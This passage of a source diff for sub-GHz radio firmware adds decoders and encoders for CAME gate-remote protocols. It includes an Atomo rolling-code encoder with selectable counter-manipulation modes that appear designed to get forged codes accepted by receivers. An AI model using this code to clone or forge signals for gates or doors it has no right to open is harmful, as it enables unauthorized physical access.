* @return SubGhzProtocolEncoderBinRAW* pointer to a SubGhzProtocolEncoderBinRAW instance
*/
void* subghz_protocol_encoder_bin_raw_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderBinRAW.
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
*/
void subghz_protocol_encoder_bin_raw_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
*/
void subghz_protocol_encoder_bin_raw_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_bin_raw_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderBinRAW.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderBinRAW* pointer to a SubGhzProtocolDecoderBinRAW instance
*/
void* subghz_protocol_decoder_bin_raw_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderBinRAW.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
*/
void subghz_protocol_decoder_bin_raw_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderBinRAW.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
*/
void subghz_protocol_decoder_bin_raw_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_bin_raw_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_bin_raw_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderBinRAW.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_bin_raw_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderBinRAW.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
* @param output Resulting text
*/
void subghz_protocol_decoder_bin_raw_get_string(void* context, FuriString* output);
@@ -0,0 +1,386 @@
#include "came.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
/*
* Help
* https://phreakerclub.com/447
*
*/
#define TAG "SubGhzProtocolCame"
#define CAME_12_COUNT_BIT 12
#define CAME_24_COUNT_BIT 24
#define PRASTEL_25_COUNT_BIT 25
#define PRASTEL_42_COUNT_BIT 42
#define PRASTEL_NAME "Prastel"
#define AIRFORCE_COUNT_BIT 18
#define AIRFORCE_NAME "Airforce"
static const SubGhzBlockConst subghz_protocol_came_const = {
.te_short = 320,
.te_long = 640,
.te_delta = 150,
.min_count_bit_for_found = 12,
};
struct SubGhzProtocolDecoderCame {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderCame {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
CameDecoderStepReset = 0,
CameDecoderStepFoundStartBit,
CameDecoderStepSaveDuration,
CameDecoderStepCheckDuration,
} CameDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_came_decoder = {
.alloc = subghz_protocol_decoder_came_alloc,
.free = subghz_protocol_decoder_came_free,
.feed = subghz_protocol_decoder_came_feed,
.reset = subghz_protocol_decoder_came_reset,
.get_hash_data = subghz_protocol_decoder_came_get_hash_data,
.serialize = subghz_protocol_decoder_came_serialize,
.deserialize = subghz_protocol_decoder_came_deserialize,
.get_string = subghz_protocol_decoder_came_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_came_encoder = {
.alloc = subghz_protocol_encoder_came_alloc,
.free = subghz_protocol_encoder_came_free,
.deserialize = subghz_protocol_encoder_came_deserialize,
.stop = subghz_protocol_encoder_came_stop,
.yield = subghz_protocol_encoder_came_yield,
};
const SubGhzProtocol subghz_protocol_came = {
.name = SUBGHZ_PROTOCOL_CAME_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_came_decoder,
.encoder = &subghz_protocol_came_encoder,
};
void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderCame* instance = malloc(sizeof(SubGhzProtocolEncoderCame));
instance->base.protocol = &subghz_protocol_came;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 128;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_came_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderCame* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderCame instance
* @return true On success
*/
static bool subghz_protocol_encoder_came_get_upload(SubGhzProtocolEncoderCame* instance) {
furi_assert(instance);
uint32_t header_te = 0;
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
switch(instance->generic.data_count_bit) {
case CAME_24_COUNT_BIT:
case PRASTEL_42_COUNT_BIT:
// CAME 24 Bit = 24320 us
header_te = 76;
break;
case CAME_12_COUNT_BIT:
case AIRFORCE_COUNT_BIT:
// CAME 12 Bit Original only! and Airforce protocol = 15040 us
header_te = 47;
break;
case PRASTEL_25_COUNT_BIT:
// PRASTEL = 11520 us
header_te = 36;
break;
default:
// Some wrong detected protocols, 5120 us
header_te = 16;
break;
}
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short * header_te);
//Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderCame* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
break;
}
if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
ret = SubGhzProtocolStatusErrorValueBitCount;
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_came_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_came_stop(void* context) {
SubGhzProtocolEncoderCame* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_came_yield(void* context) {
SubGhzProtocolEncoderCame* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderCame* instance = malloc(sizeof(SubGhzProtocolDecoderCame));
instance->base.protocol = &subghz_protocol_came;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_came_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
free(instance);
}
void subghz_protocol_decoder_came_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
instance->decoder.parser_step = CameDecoderStepReset;
}
void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
switch(instance->decoder.parser_step) {
case CameDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_const.te_short * 56) <
subghz_protocol_came_const.te_delta * 63)) {
// 17920 us + 7050 us = 24970 us max possible value old one
// delta = 150 us x 63 = 9450 us + 17920 us = 27370 us max possible value
//Found header CAME
// 26700 us or 24000 us max possible values
instance->decoder.parser_step = CameDecoderStepFoundStartBit;
}
break;
case CameDecoderStepFoundStartBit:
if(!level) {
break;
} else if(
DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
subghz_protocol_came_const.te_delta) {
//Found start bit CAME
instance->decoder.parser_step = CameDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = CameDecoderStepReset;
}
break;
case CameDecoderStepSaveDuration:
if(!level) { //save interval
if(duration >= (subghz_protocol_came_const.te_short * 4)) {
instance->decoder.parser_step = CameDecoderStepFoundStartBit;
if((instance->decoder.decode_count_bit ==
subghz_protocol_came_const.min_count_bit_for_found) ||
(instance->decoder.decode_count_bit == AIRFORCE_COUNT_BIT) ||
(instance->decoder.decode_count_bit == PRASTEL_25_COUNT_BIT) ||
(instance->decoder.decode_count_bit == PRASTEL_42_COUNT_BIT) ||
(instance->decoder.decode_count_bit == CAME_24_COUNT_BIT)) {
instance->generic.serial = 0x0;
instance->generic.btn = 0x0;
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
break;
}
instance->decoder.te_last = duration;
instance->decoder.parser_step = CameDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = CameDecoderStepReset;
}
break;
case CameDecoderStepCheckDuration:
if(level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_short) <
subghz_protocol_came_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_came_const.te_long) <
subghz_protocol_came_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = CameDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_long) <
subghz_protocol_came_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
subghz_protocol_came_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = CameDecoderStepSaveDuration;
} else
instance->decoder.parser_step = CameDecoderStepReset;
} else {
instance->decoder.parser_step = CameDecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_came_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
break;
}
if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
ret = SubGhzProtocolStatusErrorValueBitCount;
break;
}
} while(false);
return ret;
}
void subghz_protocol_decoder_came_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderCame* instance = context;
uint32_t code_found_lo = instance->generic.data & 0x000003ffffffffff;
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
instance->generic.data, instance->generic.data_count_bit);
uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
const char* name = instance->generic.protocol_name;
switch(instance->generic.data_count_bit) {
case PRASTEL_25_COUNT_BIT:
case PRASTEL_42_COUNT_BIT:
name = PRASTEL_NAME;
break;
case AIRFORCE_COUNT_BIT:
name = AIRFORCE_NAME;
break;
}
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:0x%08lX\r\n"
"Yek:0x%08lX\r\n",
name,
instance->generic.data_count_bit,
code_found_lo,
code_found_reverse_lo);
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_CAME_NAME "CAME"
typedef struct SubGhzProtocolDecoderCame SubGhzProtocolDecoderCame;
typedef struct SubGhzProtocolEncoderCame SubGhzProtocolEncoderCame;
extern const SubGhzProtocolDecoder subghz_protocol_came_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_came_encoder;
extern const SubGhzProtocol subghz_protocol_came;
/**
* Allocate SubGhzProtocolEncoderCame.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderCame* pointer to a SubGhzProtocolEncoderCame instance
*/
void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderCame.
* @param context Pointer to a SubGhzProtocolEncoderCame instance
*/
void subghz_protocol_encoder_came_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderCame instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderCame instance
*/
void subghz_protocol_encoder_came_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderCame instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_came_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderCame.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderCame* pointer to a SubGhzProtocolDecoderCame instance
*/
void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderCame.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
*/
void subghz_protocol_decoder_came_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderCame.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
*/
void subghz_protocol_decoder_came_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_came_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderCame.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderCame.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderCame instance
* @param output Resulting text
*/
void subghz_protocol_decoder_came_get_string(void* context, FuriString* output);
@@ -0,0 +1,868 @@
#include "came_atomo.h"
#include <lib/toolbox/manchester_decoder.h>
#include <lib/toolbox/manchester_encoder.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzProtocoCameAtomo"
//variable used to bypass CounterMode settings if user just change Counter or Button
static bool bypass = false;
static const SubGhzBlockConst subghz_protocol_came_atomo_const = {
.te_short = 600,
.te_long = 1200,
.te_delta = 250,
.min_count_bit_for_found = 62,
};
struct SubGhzProtocolDecoderCameAtomo {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
ManchesterState manchester_saved_state;
};
struct SubGhzProtocolEncoderCameAtomo {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
CameAtomoDecoderStepReset = 0,
CameAtomoDecoderStepDecoderData,
} CameAtomoDecoderStep;
static uint8_t came_atomo_counter_mode = 0;
const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder = {
.alloc = subghz_protocol_decoder_came_atomo_alloc,
.free = subghz_protocol_decoder_came_atomo_free,
.feed = subghz_protocol_decoder_came_atomo_feed,
.reset = subghz_protocol_decoder_came_atomo_reset,
.get_hash_data = subghz_protocol_decoder_came_atomo_get_hash_data,
.serialize = subghz_protocol_decoder_came_atomo_serialize,
.deserialize = subghz_protocol_decoder_came_atomo_deserialize,
.get_string = subghz_protocol_decoder_came_atomo_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder = {
.alloc = subghz_protocol_encoder_came_atomo_alloc,
.free = subghz_protocol_encoder_came_atomo_free,
.deserialize = subghz_protocol_encoder_came_atomo_deserialize,
.stop = subghz_protocol_encoder_came_atomo_stop,
.yield = subghz_protocol_encoder_came_atomo_yield,
};
const SubGhzProtocol subghz_protocol_came_atomo = {
.name = SUBGHZ_PROTOCOL_CAME_ATOMO_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_came_atomo_decoder,
.encoder = &subghz_protocol_came_atomo_encoder,
};
static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance);
/**
* Defines the button value for the current btn_id
* Basic set | 0x0 | 0x2 | 0x4 | 0x6 |
* @return Button code
*/
static uint8_t subghz_protocol_came_atomo_get_btn_code(void);
void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolEncoderCameAtomo));
instance->base.protocol = &subghz_protocol_came_atomo;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 1;
instance->encoder.size_upload = 900; //actual size 766+
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_came_atomo_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderCameAtomo* instance = context;
free(instance->encoder.upload);
free(instance);
}
static LevelDuration
subghz_protocol_encoder_came_atomo_add_duration_to_upload(ManchesterEncoderResult result) {
LevelDuration data = {.duration = 0, .level = 0};
switch(result) {
case ManchesterEncoderResultShortLow:
data.duration = subghz_protocol_came_atomo_const.te_short;
data.level = false;
break;
case ManchesterEncoderResultLongLow:
data.duration = subghz_protocol_came_atomo_const.te_long;
data.level = false;
break;
case ManchesterEncoderResultLongHigh:
data.duration = subghz_protocol_came_atomo_const.te_long;
data.level = true;
break;
case ManchesterEncoderResultShortHigh:
data.duration = subghz_protocol_came_atomo_const.te_short;
data.level = true;
break;
default:
FURI_LOG_E(TAG, "SubGhz: ManchesterEncoderResult is incorrect.");
break;
}
return level_duration_make(data.level, data.duration);
}
bool subghz_protocol_came_atomo_create_data(
void* context,
FlipperFormat* flipper_format,
uint32_t serial,
uint16_t cnt,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolEncoderCameAtomo* instance = context;
instance->generic.btn = 0x1;
instance->generic.serial = serial;
instance->generic.cnt = cnt;
instance->generic.cnt_2 = 0x7e;
instance->generic.data_count_bit = 62;
instance->generic.data_2 =
((uint64_t)0x7e << 56 | (uint64_t)cnt << 40 | (uint64_t)serial << 8);
uint8_t pack[8] = {};
pack[0] = (instance->generic.cnt_2);
pack[1] = (instance->generic.cnt >> 8);
pack[2] = (instance->generic.cnt & 0xFF);
pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
pack[7] = (instance->generic.data_2 & 0xFF);
atomo_encrypt(pack);
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
instance->generic.data = (uint64_t)hi << 32 | lo;
instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
instance->generic.data >>= 4;
instance->generic.data &= 0xFFFFFFFFFFFFFFF;
return SubGhzProtocolStatusOk ==
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderCameAtomo instance
*/
static void subghz_protocol_encoder_came_atomo_get_upload(
SubGhzProtocolEncoderCameAtomo* instance,
uint8_t btn) {
furi_assert(instance);
size_t index = 0;
ManchesterEncoderState enc_state;
manchester_encoder_reset(&enc_state);
ManchesterEncoderResult result;
uint8_t pack[8] = {};
// if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
if(subghz_block_generic_global.cnt_need_override ||
subghz_block_generic_global.btn_need_override)
bypass = true;
if(came_atomo_counter_mode == 0 || bypass) {
// Check for OFEX (overflow experimental) mode
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
bypass = false;
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
//OFFEX mode
if((instance->generic.cnt + 0x1) > 0xFFFF) {
instance->generic.cnt = 0;
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
instance->generic.cnt = 0xFFFE;
} else {
instance->generic.cnt++;
}
}
} else if(came_atomo_counter_mode == 1) {
// Mode 1
// 0000 / 0001 / FFFE / FFFF
if((instance->generic.cnt + 0x1) > 0xFFFF) {
instance->generic.cnt = 0;
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
instance->generic.cnt = 0xFFFE;
} else {
instance->generic.cnt++;
}
} else if(came_atomo_counter_mode == 2) {
// Mode 2
// 0x807B / 0x807C / 0x007B / 0x007C
if(instance->generic.cnt != 0x807B && instance->generic.cnt != 0x807C &&
instance->generic.cnt != 0x007B) {
instance->generic.cnt = 0x807B;
} else if(instance->generic.cnt == 0x807C) {
instance->generic.cnt = 0x007B;
} else {
instance->generic.cnt++;
}
} else {
// Mode 3 - Freeze counter
}
// Save original button for later use
// if(subghz_custom_btn_get_original() == 0) {
// // // subghz_custom_btn_set_original(btn);
// }
btn = subghz_protocol_came_atomo_get_btn_code();
if(btn == 0x1) {
btn = 0x0;
} else if(btn == 0x2) {
btn = 0x2;
} else if(btn == 0x3) {
btn = 0x4;
} else if(btn == 0x4) {
btn = 0x6;
}
// override button if we change it with signal settings button editor
if(subghz_block_generic_global_button_override_get(&btn))
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
//Send header
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60);
// Btn counter 0x0 - 0x7F
pack[0] = 0;
for(uint8_t i = 0; i < 8; i++) {
//pack[0] = (instance->generic.data_2 >> 56);
pack[1] = (instance->generic.cnt >> 8);
pack[2] = (instance->generic.cnt & 0xFF);
pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
pack[7] = (btn << 4);
/* if(pack[0] == 0x7F) {
pack[0] = 0;
} else {
pack[0] += (i + 1);
}
*/
switch(i) {
case 0:
pack[0] = 10; // 0A
break;
case 1:
pack[0] = 30;
break;
case 2:
pack[0] = 125; // 7D
break;
case 3:
pack[0] = 126; // 7E
break;
case 4:
pack[0] = 127; // 7F
break;
case 5:
pack[0] = 0; // 00
break;
case 6:
pack[0] = 1; // 01
break;
case 7:
pack[0] = 3;
break;
default:
break;
}
// 10 50 125 126 127 0 1 2
atomo_encrypt(pack);
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
instance->generic.data = (uint64_t)hi << 32 | lo;
instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
instance->generic.data >>= 4;
instance->generic.data &= 0xFFFFFFFFFFFFFFF;
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short);
for(uint8_t i = (instance->generic.data_count_bit - 2); i > 0; i--) {
if(!manchester_encoder_advance(
&enc_state, !bit_read(instance->generic.data, i - 1), &result)) {
instance->encoder.upload[index++] =
subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
manchester_encoder_advance(
&enc_state, !bit_read(instance->generic.data, i - 1), &result);
}
instance->encoder.upload[index++] =
subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
}
instance->encoder.upload[index] =
subghz_protocol_encoder_came_atomo_add_duration_to_upload(
manchester_encoder_finish(&enc_state));
if(level_duration_get_level(instance->encoder.upload[index])) {
index++;
}
//Send pause
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272);
}
instance->encoder.size_upload = index;
instance->generic.cnt_2++;
pack[0] = (instance->generic.cnt_2);
pack[1] = (instance->generic.cnt >> 8);
pack[2] = (instance->generic.cnt & 0xFF);
pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
pack[7] = (btn << 4);
atomo_encrypt(pack);
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
instance->generic.data = (uint64_t)hi << 32 | lo;
instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
instance->generic.data >>= 4;
instance->generic.data &= 0xFFFFFFFFFFFFFFF;
}
SubGhzProtocolStatus
subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderCameAtomo* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
if(SubGhzProtocolStatusOk !=
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint32_t tmp_counter_mode;
